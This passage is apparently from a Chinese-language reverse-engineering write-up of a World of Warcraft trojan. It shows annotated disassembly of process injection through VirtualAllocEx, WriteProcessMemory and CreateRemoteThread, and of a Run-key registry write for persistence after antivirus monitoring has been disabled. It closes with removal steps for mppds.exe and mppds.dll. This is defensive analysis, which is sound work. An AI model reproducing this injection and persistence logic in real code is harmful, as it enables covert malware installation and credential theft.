    .text:00401546           push   eax         ; hProcess
    .text:00401547           call   sub_401105
    .text:00401547
    .text:0040154C           add   esp, 10h
    .text:0040154F           test   al, al
    .text:00401551           jz     short loc_40158F
    .text:00401551
    .text:00401553           push   40h         ; flProtect
    .text:00401555           push   1000h       ; flAllocationType
    .text:0040155A           push   edi         ; dwSize
    .text:0040155B           push   ebx         ; lpAddress
    .text:0040155C           push   [ebp+hProcess] ; hProcess
    .text:0040155F           call   esi ; VirtualAllocEx
    .text:00401561           mov   esi, eax
    .text:00401563           cmp   esi, ebx
    .text:00401565           jz     short loc_40158F
    .text:00401565
    .text:00401567           push   ebx         ; lpNumberOfBytesWritten
    .text:00401568           push   edi         ; nSize
    .text:00401569           push   [ebp+lpBuffer] ; lpBuffer
    .text:0040156C           push   esi         ; lpBaseAddress
    .text:0040156D           push   [ebp+hProcess] ; hProcess
    .text:00401570           call   ds:WriteProcessMemory
    .text:00401576           test   eax, eax
    .text:00401578           jz     short loc_40158F
    .text:00401578
    .text:0040157A           push   ebx         ; lpThreadId
    .text:0040157B           push   ebx         ; dwCreationFlags
    .text:0040157C           push   [ebp+lpParameter] ; lpParameter
    .text:0040157F           push   esi         ; lpStartAddress
    .text:00401580           push   400h         ; dwStackSize
    .text:00401585           push   ebx         ; lpThreadAttributes
    .text:00401586           push   [ebp+hProcess] ; hProcess
    .text:00401589           call   ds:CreateRemoteThread ;写入执行
    .text:00401589
    .text:0040158F
    .text:0040158F loc_40158F:                  
    .text:0040158F                          
    .text:0040158F                          
    .text:0040158F                          
    .text:0040158F                
    .text:0040158F                          
    .text:0040158F   pop   edi
    .text:00401590           pop   esi
    .text:00401591           pop   ebx
    .text:00401592           leave
    .text:00401593           retn
    .text:00401593
    .text:00401593 sub_401444     endp
    ;***************************************************************************************
    最后设置注册表启动,因为前面已经分析,它已经关闭瑞星的注册表监控和卡巴的了,这里它可以随便写都没有东西拦截:
    ;***************************************************************************************
    .text:0040179B sub_40179B     proc near          
    .text:0040179B
    .text:0040179B hKey         = dword ptr -4
    .text:0040179B lpValueName   = dword ptr 8
    .text:0040179B lpData       = dword ptr 0Ch
    .text:0040179B
    .text:0040179B           push   ebp
    .text:0040179C           mov   ebp, esp
    .text:0040179E           push   ecx
    .text:0040179F           lea   eax, [ebp+hKey] ; 从缓冲区中取出key值
    .text:004017A2           push   eax         ; phkResult
    .text:004017A3           push   0F003Fh ; <suspicious> ; samDesired
    .text:004017A8           push   0           ; ulOptions
    .text:004017AA           push   offset SubKey   ;
    "SoftWare\\Microsoft\\Windows\\CurrentVersi"...
    .text:004017AF           push   80000002h     ; hKey
    .text:004017B4           call   ds:RegOpenKeyExA ; 打开注册表主键
    .text:004017BA           test   eax, eax
    .text:004017BC           jnz   short locret_4017E4 ; 返回成功的话,就开始设置键值
    .text:004017BC
    .text:004017BE           push   [ebp+lpData]   ; char *
    .text:004017C1           call   strlen       ; 计算要写入注册表字符的长度
    .text:004017C1
    .text:004017C6           pop   ecx
    .text:004017C7           push   eax         ; cbData
    .text:004017C8           push   [ebp+lpData]   ;写入的键值(从缓冲区中取出)
    .text:004017CB           push   1           ; dwType
    .text:004017CD           push   0           ; Reserved
    .text:004017CF           push   [ebp+lpValueName] ; lpValueName
    .text:004017D2           push   [ebp+hKey]     ; hKey
    .text:004017D5           call   ds:RegSetValueExA ;开始设置
    .text:004017DB           push   [ebp+hKey]     ; hKey
    .text:004017DE           call   ds:RegCloseKey
    .text:004017DE
    .text:004017E4
    .text:004017E4 locret_4017E4:          
    .text:004017E4           leave
    .text:004017E5           retn
    .text:004017E5
    .text:004017E5 sub_40179B     endp
    ;**********************************************************************
到这里,程序分析完毕!如果谁中了这个wow木马,可以这样清除:
到注册表run项下删除mppds,然后到windows目录清除如下文件:mppds.exe和mppds.dll,再重启一下自己的机子就可以了。